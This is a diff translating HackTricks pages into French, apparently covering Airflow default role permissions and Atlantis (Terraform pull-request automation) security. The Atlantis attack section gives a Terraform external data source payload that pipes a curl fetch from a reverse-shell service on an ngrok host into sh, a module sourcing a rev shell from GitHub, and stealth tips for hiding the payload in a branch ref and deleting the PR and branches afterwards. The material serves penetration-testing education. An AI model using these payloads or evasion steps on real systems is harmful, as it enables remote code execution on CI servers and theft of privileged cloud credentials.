- **`Admin`** users have all possible permissions.
|
||||
- **`Public`** users (anonymous) don’t have any permissions.
|
||||
- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.**
|
||||
- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file**
|
||||
- **`Op`** users have `User` permissions plus additional op permissions.
|
||||
- **Les utilisateurs `Admin`** ont toutes les permissions possibles.
|
||||
- **Les utilisateurs `Public`** (anonymes) n'ont aucune permission.
|
||||
- **Les utilisateurs `Viewer`** ont des permissions de visualisation limitées (uniquement en lecture). Ils **ne peuvent pas voir la configuration.**
|
||||
- **Les utilisateurs `User`** ont des permissions de `Viewer` plus des permissions supplémentaires qui leur permettent de gérer un peu les DAGs. Ils **peuvent voir le fichier de configuration.**
|
||||
- **Les utilisateurs `Op`** ont des permissions de `User` plus des permissions supplémentaires d'opération.
|
||||
|
||||
Note that **admin** users can **create more roles** with more **granular permissions**.
|
||||
Notez que les utilisateurs **admin** peuvent **créer plus de rôles** avec des **permissions plus granulaires**.
|
||||
|
||||
Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that.
|
||||
Notez également que le seul rôle par défaut avec **la permission de lister les utilisateurs et les rôles est Admin, même pas Op** ne pourra le faire.
|
||||
|
||||
### Default Permissions
|
||||
### Permissions par défaut
|
||||
|
||||
These are the default permissions per default role:
|
||||
Voici les permissions par défaut par rôle par défaut :
|
||||
|
||||
- **Admin**
|
||||
|
||||
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs]
|
||||
\[peut supprimer sur Connections, peut lire sur Connections, peut éditer sur Connections, peut créer sur Connections, peut lire sur DAGs, peut éditer sur DAGs, peut supprimer sur DAGs, peut lire sur DAG Runs, peut lire sur Task Instances, peut éditer sur Task Instances, peut supprimer sur DAG Runs, peut créer sur DAG Runs, peut éditer sur DAG Runs, peut lire sur Audit Logs, peut lire sur ImportError, peut supprimer sur Pools, peut lire sur Pools, peut éditer sur Pools, peut créer sur Pools, peut lire sur Providers, peut supprimer sur Variables, peut lire sur Variables, peut éditer sur Variables, peut créer sur Variables, peut lire sur XComs, peut lire sur DAG Code, peut lire sur Configurations, peut lire sur Plugins, peut lire sur Roles, peut lire sur Permissions, peut supprimer sur Roles, peut éditer sur Roles, peut créer sur Roles, peut lire sur Users, peut créer sur Users, peut éditer sur Users, peut supprimer sur Users, peut lire sur DAG Dependencies, peut lire sur Jobs, peut lire sur My Password, peut éditer sur My Password, peut lire sur My Profile, peut éditer sur My Profile, peut lire sur SLA Misses, peut lire sur Task Logs, peut lire sur Website, accès au menu sur Browse, accès au menu sur DAG Dependencies, accès au menu sur DAG Runs, accès au menu sur Documentation, accès au menu sur Docs, accès au menu sur Jobs, accès au menu sur Audit Logs, accès au menu sur Plugins, accès au menu sur SLA Misses, accès au menu sur Task Instances, peut créer sur Task Instances, peut supprimer sur Task Instances, accès au menu sur Admin, accès au menu sur Configurations, accès au menu sur Connections, accès au menu sur Pools, accès au menu sur Variables, accès au menu sur XComs, peut supprimer sur XComs, peut lire sur Task Reschedules, accès au menu sur Task Reschedules, peut lire sur Triggers, accès au menu sur Triggers, peut lire sur Passwords, peut éditer sur Passwords, accès au menu sur List Users, accès au menu sur Security, accès au menu sur List Roles, peut lire sur User Stats Chart, accès au menu sur User's Statistics, accès au menu sur Base Permissions, peut lire sur View Menus, accès au menu sur Views/Menus, peut lire sur Permission Views, accès au menu sur Permission on Views/Menus, peut obtenir sur MenuApi, accès au menu sur Providers, peut créer sur XComs]
|
||||
|
||||
- **Op**
|
||||
|
||||
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs]
|
||||
\[peut supprimer sur Connections, peut lire sur Connections, peut éditer sur Connections, peut créer sur Connections, peut lire sur DAGs, peut éditer sur DAGs, peut supprimer sur DAGs, peut lire sur DAG Runs, peut lire sur Task Instances, peut éditer sur Task Instances, peut supprimer sur DAG Runs, peut créer sur DAG Runs, peut éditer sur DAG Runs, peut lire sur Audit Logs, peut lire sur ImportError, peut supprimer sur Pools, peut lire sur Pools, peut éditer sur Pools, peut créer sur Pools, peut lire sur Providers, peut supprimer sur Variables, peut lire sur Variables, peut éditer sur Variables, peut créer sur Variables, peut lire sur XComs, peut lire sur DAG Code, peut lire sur Configurations, peut lire sur Plugins, peut lire sur DAG Dependencies, peut lire sur Jobs, peut lire sur My Password, peut éditer sur My Password, peut lire sur My Profile, peut éditer sur My Profile, peut lire sur SLA Misses, peut lire sur Task Logs, peut lire sur Website, accès au menu sur Browse, accès au menu sur DAG Dependencies, accès au menu sur DAG Runs, accès au menu sur Documentation, accès au menu sur Docs, accès au menu sur Jobs, accès au menu sur Audit Logs, accès au menu sur Plugins, accès au menu sur SLA Misses, accès au menu sur Task Instances, peut créer sur Task Instances, peut supprimer sur Task Instances, accès au menu sur Admin, accès au menu sur Configurations, accès au menu sur Connections, accès au menu sur Pools, accès au menu sur Variables, accès au menu sur XComs, peut supprimer sur XComs]
|
||||
|
||||
- **User**
|
||||
|
||||
\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances]
|
||||
\[peut lire sur DAGs, peut éditer sur DAGs, peut supprimer sur DAGs, peut lire sur DAG Runs, peut lire sur Task Instances, peut éditer sur Task Instances, peut supprimer sur DAG Runs, peut créer sur DAG Runs, peut éditer sur DAG Runs, peut lire sur Audit Logs, peut lire sur ImportError, peut lire sur XComs, peut lire sur DAG Code, peut lire sur Plugins, peut lire sur DAG Dependencies, peut lire sur Jobs, peut lire sur My Password, peut éditer sur My Password, peut lire sur My Profile, peut éditer sur My Profile, peut lire sur SLA Misses, peut lire sur Task Logs, peut lire sur Website, accès au menu sur Browse, accès au menu sur DAG Dependencies, accès au menu sur DAG Runs, accès au menu sur Documentation, accès au menu sur Docs, accès au menu sur Jobs, accès au menu sur Audit Logs, accès au menu sur Plugins, accès au menu sur SLA Misses, accès au menu sur Task Instances, peut créer sur Task Instances, peut supprimer sur Task Instances]
|
||||
|
||||
- **Viewer**
|
||||
|
||||
\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances]
|
||||
\[peut lire sur DAGs, peut lire sur DAG Runs, peut lire sur Task Instances, peut lire sur Audit Logs, peut lire sur ImportError, peut lire sur XComs, peut lire sur DAG Code, peut lire sur Plugins, peut lire sur DAG Dependencies, peut lire sur Jobs, peut lire sur My Password, peut éditer sur My Password, peut lire sur My Profile, peut éditer sur My Profile, peut lire sur SLA Misses, peut lire sur Task Logs, peut lire sur Website, accès au menu sur Browse, accès au menu sur DAG Dependencies, accès au menu sur DAG Runs, accès au menu sur Documentation, accès au menu sur Docs, accès au menu sur Jobs, accès au menu sur Audit Logs, accès au menu sur Plugins, accès au menu sur SLA Misses, accès au menu sur Task Instances]
|
||||
|
||||
- **Public**
|
||||
|
||||
\[]
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,111 +2,111 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Basic Information
|
||||
### Informations de base
|
||||
|
||||
Atlantis basically helps you to to run terraform from Pull Requests from your git server.
|
||||
Atlantis vous aide essentiellement à exécuter terraform à partir de Pull Requests de votre serveur git.
|
||||
|
||||
.png>)
|
||||
|
||||
### Local Lab
|
||||
### Laboratoire local
|
||||
|
||||
1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you.
|
||||
2. Create a **personal token** (with repo access) of your **github** user
|
||||
3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis**
|
||||
1. You can access the web page in 127.0.0.1:4141
|
||||
1. Allez sur la **page des versions d'atlantis** à [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) et **téléchargez** celle qui vous convient.
|
||||
2. Créez un **jeton personnel** (avec accès au dépôt) de votre utilisateur **github**.
|
||||
3. Exécutez `./atlantis testdrive` et cela créera un **dépôt de démonstration** que vous pouvez utiliser pour **communiquer avec atlantis**.
|
||||
1. Vous pouvez accéder à la page web à 127.0.0.1:4141.
|
||||
|
||||
### Atlantis Access
|
||||
### Accès à Atlantis
|
||||
|
||||
#### Git Server Credentials
|
||||
#### Identifiants du serveur Git
|
||||
|
||||
**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\
|
||||
However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\
|
||||
[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts.
|
||||
**Atlantis** prend en charge plusieurs hôtes git tels que **Github**, **Gitlab**, **Bitbucket** et **Azure DevOps**.\
|
||||
Cependant, pour accéder aux dépôts sur ces plateformes et effectuer des actions, il doit avoir un **accès privilégié accordé** (au moins des autorisations d'écriture).\
|
||||
[**La documentation**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage à créer un utilisateur sur ces plateformes spécifiquement pour Atlantis, mais certaines personnes peuvent utiliser des comptes personnels.
|
||||
|
||||
> [!WARNING]
|
||||
> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**.
|
||||
> Dans tous les cas, du point de vue d'un attaquant, le **compte Atlantis** sera très **intéressant** à **compromettre**.
|
||||
|
||||
#### Webhooks
|
||||
|
||||
Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**.
|
||||
Atlantis utilise éventuellement [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) pour valider que les **webhooks** qu'il reçoit de votre hôte Git sont **légitimes**.
|
||||
|
||||
One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret.
|
||||
Une façon de confirmer cela serait de **permettre uniquement les requêtes provenant des IPs** de votre hôte Git, mais une manière plus simple est d'utiliser un Webhook Secret.
|
||||
|
||||
Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet.
|
||||
Notez que, à moins que vous n'utilisiez un serveur github ou bitbucket privé, vous devrez exposer les points de terminaison webhook à Internet.
|
||||
|
||||
> [!WARNING]
|
||||
> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**.
|
||||
> Atlantis va **exposer des webhooks** afin que le serveur git puisse lui envoyer des informations. Du point de vue d'un attaquant, il serait intéressant de savoir **si vous pouvez lui envoyer des messages**.
|
||||
|
||||
#### Provider Credentials <a href="#provider-credentials" id="provider-credentials"></a>
|
||||
#### Identifiants du fournisseur <a href="#provider-credentials" id="provider-credentials"></a>
|
||||
|
||||
[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
[De la documentation :](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
|
||||
Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider.
|
||||
Atlantis exécute Terraform en **exécutant les commandes `terraform plan` et `apply`** sur le serveur **où Atlantis est hébergé**. Tout comme lorsque vous exécutez Terraform localement, Atlantis a besoin d'identifiants pour votre fournisseur spécifique.
|
||||
|
||||
It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis:
|
||||
C'est à vous de [fournir des identifiants](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) pour votre fournisseur spécifique à Atlantis :
|
||||
|
||||
- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs.
|
||||
- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
|
||||
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role")
|
||||
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
|
||||
- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.
|
||||
- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.
|
||||
- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials.
|
||||
- Le [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) d'Atlantis et le [Module AWS Fargate](https://www.runatlantis.io/docs/deployment.html#aws-fargate) ont leurs propres mécanismes pour les identifiants du fournisseur. Lisez leur documentation.
|
||||
- Si vous exécutez Atlantis dans le cloud, de nombreux clouds ont des moyens de donner un accès API cloud aux applications qui y sont exécutées, par exemple :
|
||||
- [Rôles AWS EC2](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Recherchez "EC2 Role")
|
||||
- [Comptes de service d'instance GCE](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
|
||||
- De nombreux utilisateurs définissent des variables d'environnement, par exemple `AWS_ACCESS_KEY`, là où Atlantis est exécuté.
|
||||
- D'autres créent les fichiers de configuration nécessaires, par exemple `~/.aws/credentials`, là où Atlantis est exécuté.
|
||||
- Utilisez le [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) pour obtenir des identifiants de fournisseur.
|
||||
|
||||
> [!WARNING]
|
||||
> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform.
|
||||
> Le **conteneur** où **Atlantis** est **exécuté** contiendra très probablement des **identifiants privilégiés** pour les fournisseurs (AWS, GCP, Github...) qu'Atlantis gère via Terraform.
|
||||
|
||||
#### Web Page
|
||||
#### Page Web
|
||||
|
||||
By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful).
|
||||
Par défaut, Atlantis exécutera une **page web sur le port 4141 en localhost**. Cette page vous permet simplement d'activer/désactiver l'application atlantis et de vérifier l'état du plan des dépôts et de les déverrouiller (elle ne permet pas de modifier des choses, donc elle n'est pas très utile).
|
||||
|
||||
You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones).
|
||||
Vous ne la trouverez probablement pas exposée à Internet, mais il semble que par défaut **aucun identifiant n'est nécessaire** pour y accéder (et s'ils le sont, `atlantis`:`atlantis` sont les **identifiants par défaut**).
|
||||
|
||||
### Server Configuration
|
||||
### Configuration du serveur
|
||||
|
||||
Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three.
|
||||
La configuration de `atlantis server` peut être spécifiée via des options de ligne de commande, des variables d'environnement, un fichier de configuration ou un mélange des trois.
|
||||
|
||||
- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server
|
||||
- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
|
||||
- Vous pouvez trouver [**ici la liste des options**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) prises en charge par le serveur Atlantis.
|
||||
- Vous pouvez trouver [**ici comment transformer une option de configuration en variable d'environnement**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
|
||||
|
||||
Values are **chosen in this order**:
|
||||
Les valeurs sont **choisies dans cet ordre** :
|
||||
|
||||
1. Flags
|
||||
2. Environment Variables
|
||||
3. Config File
|
||||
1. Options
|
||||
2. Variables d'environnement
|
||||
3. Fichier de configuration
|
||||
|
||||
> [!WARNING]
|
||||
> Note that in the configuration you might find interesting values such as **tokens and passwords**.
|
||||
> Notez que dans la configuration, vous pourriez trouver des valeurs intéressantes telles que **jetons et mots de passe**.
|
||||
|
||||
#### Repos Configuration
|
||||
#### Configuration des dépôts
|
||||
|
||||
Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order:
|
||||
Certaines configurations affectent **la manière dont les dépôts sont gérés**. Cependant, il est possible que **chaque dépôt nécessite des paramètres différents**, donc il existe des moyens de spécifier chaque dépôt. Voici l'ordre de priorité :
|
||||
|
||||
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it.
|
||||
1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows`
|
||||
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported)
|
||||
3. **Default** values
|
||||
1. Fichier [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config). Ce fichier peut être utilisé pour spécifier comment atlantis doit traiter le dépôt. Cependant, par défaut, certaines clés ne peuvent pas être spécifiées ici sans certaines options permettant cela.
|
||||
1. Probablement requis d'être autorisé par des options comme `allowed_overrides` ou `allow_custom_workflows`.
|
||||
2. [**Configuration côté serveur**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) : Vous pouvez le passer avec l'option `--repo-config` et c'est un yaml configurant de nouveaux paramètres pour chaque dépôt (regex pris en charge).
|
||||
3. Valeurs **par défaut**.
|
||||
|
||||
**PR Protections**
|
||||
**Protections PR**
|
||||
|
||||
Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended.
|
||||
Atlantis permet d'indiquer si vous souhaitez que le **PR** soit **`approuvé`** par quelqu'un d'autre (même si cela n'est pas défini dans la protection de branche) et/ou soit **`fusionnable`** (protections de branche passées) **avant d'exécuter apply**. D'un point de vue sécurité, il est recommandé de définir les deux options.
|
||||
|
||||
In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**.
|
||||
Dans le cas où `allowed_overrides` est True, ces paramètres peuvent être **écrasés sur chaque projet par le fichier `/atlantis.yml`**.
|
||||
|
||||
**Scripts**
|
||||
|
||||
The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.**
|
||||
La configuration du dépôt peut **spécifier des scripts** à exécuter [**avant**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_hooks de pré-traitement_) et [**après**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_hooks de post-traitement_) qu'un **workflow est exécuté.**
|
||||
|
||||
There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file. However, if there is a confgured script to execute that is located in the same repo, it's possible to **modify it's content in a PR and make it execute arbitrary code.**
|
||||
Il n'y a aucune option pour **spécifier** ces scripts dans le **fichier `/atlantis.yml`** du dépôt.
|
||||
|
||||
**Workflow**
|
||||
|
||||
In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\
|
||||
Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.**
|
||||
Dans la configuration du dépôt (configuration côté serveur), vous pouvez [**spécifier un nouveau workflow par défaut**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), ou [**créer de nouveaux workflows personnalisés**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Vous pouvez également **spécifier** quels **dépôts** peuvent **accéder** aux **nouveaux** générés.\
|
||||
Ensuite, vous pouvez permettre au fichier **atlantis.yaml** de chaque dépôt de **spécifier le workflow à utiliser.**
|
||||
|
||||
> [!CAUTION]
|
||||
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\
|
||||
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
|
||||
> Si l'option [**configuration côté serveur**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` est définie sur **True**, les workflows peuvent être **spécifiés** dans le fichier **`atlantis.yaml`** de chaque dépôt. Il est également potentiellement nécessaire que **`allowed_overrides`** spécifie également **`workflow`** pour **écraser le workflow** qui va être utilisé.\
|
||||
> Cela donnera essentiellement **RCE dans le serveur Atlantis à tout utilisateur pouvant accéder à ce dépôt**.
|
||||
>
|
||||
> ```yaml
|
||||
> # atlantis.yaml
|
||||
@@ -124,21 +124,20 @@ Then, you can allow the **atlantis.yaml** file of each repo to **specify the wor
|
||||
> steps: - run: my custom apply command
|
||||
> ```
|
||||
|
||||
**Conftest Policy Checking**
|
||||
**Vérification de la politique Conftest**
|
||||
|
||||
Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include:
|
||||
Atlantis prend en charge l'exécution de **politiques** [**conftest**](https://www.conftest.dev/) **côté serveur** contre la sortie du plan. Les cas d'utilisation courants pour cette étape incluent :
|
||||
|
||||
- Denying usage of a list of modules
|
||||
- Asserting attributes of a resource at creation time
|
||||
- Catching unintentional resource deletions
|
||||
- Preventing security risks (ie. exposing secure ports to the public)
|
||||
- Interdire l'utilisation d'une liste de modules.
|
||||
- Affirmer les attributs d'une ressource au moment de sa création.
|
||||
- Détecter les suppressions de ressources non intentionnelles.
|
||||
- Prévenir les risques de sécurité (c'est-à-dire exposer des ports sécurisés au public).
|
||||
|
||||
You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
|
||||
Vous pouvez vérifier comment le configurer dans [**la documentation**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
|
||||
|
||||
### Atlantis Commands
|
||||
|
||||
[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis:
|
||||
### Commandes Atlantis
|
||||
|
||||
[**Dans la documentation**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) vous pouvez trouver les options que vous pouvez utiliser pour exécuter Atlantis :
|
||||
```bash
|
||||
# Get help
|
||||
atlantis help
|
||||
@@ -161,94 +160,82 @@ atlantis apply [options] -- [terraform apply flags]
|
||||
## --verbose
|
||||
## You can also add extra terraform options
|
||||
```
|
||||
|
||||
### Attacks
|
||||
### Attaques
|
||||
|
||||
> [!WARNING]
|
||||
> If during the exploitation you find this **error**: `Error: Error acquiring the state lock`
|
||||
|
||||
You can fix it by running:
|
||||
> Si pendant l'exploitation vous trouvez cette **erreur** : `Error: Error acquiring the state lock`
|
||||
|
||||
Vous pouvez le corriger en exécutant :
|
||||
```
|
||||
atlantis unlock #You might need to run this in a different PR
|
||||
atlantis plan -- -lock=false
|
||||
```
|
||||
#### Atlantis plan RCE - Modification de configuration dans une nouvelle PR
|
||||
|
||||
#### Atlantis plan RCE - Config modification in new PR
|
||||
|
||||
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**.
|
||||
|
||||
You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file:
|
||||
Si vous avez un accès en écriture sur un dépôt, vous pourrez créer une nouvelle branche et générer une PR. Si vous pouvez **exécuter `atlantis plan`** (ou peut-être est-ce exécuté automatiquement) **vous pourrez RCE à l'intérieur du serveur Atlantis**.
|
||||
|
||||
Vous pouvez le faire en faisant [**charger une source de données externe par Atlantis**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Il suffit de mettre un payload comme le suivant dans le fichier `main.tf` :
|
||||
```json
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
}
|
||||
```
|
||||
**Attaque plus discrète**
|
||||
|
||||
**Stealthier Attack**
|
||||
|
||||
You can perform this attack even in a **stealthier way**, by following this suggestions:
|
||||
|
||||
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
|
||||
Vous pouvez effectuer cette attaque même de manière **plus discrète**, en suivant ces suggestions :
|
||||
|
||||
- Au lieu d'ajouter le rev shell directement dans le fichier terraform, vous pouvez **charger une ressource externe** qui contient le rev shell :
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
Vous pouvez trouver le code rev shell dans [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
- Dans la ressource externe, utilisez la fonctionnalité **ref** pour cacher le **code rev shell terraform dans une branche** à l'intérieur du dépôt, quelque chose comme : `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- **Au lieu** de créer une **PR vers master** pour déclencher Atlantis, **créez 2 branches** (test1 et test2) et créez une **PR de l'une à l'autre**. Lorsque vous avez terminé l'attaque, il vous suffit de **supprimer la PR et les branches**.
|
||||
|
||||
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
|
||||
|
||||
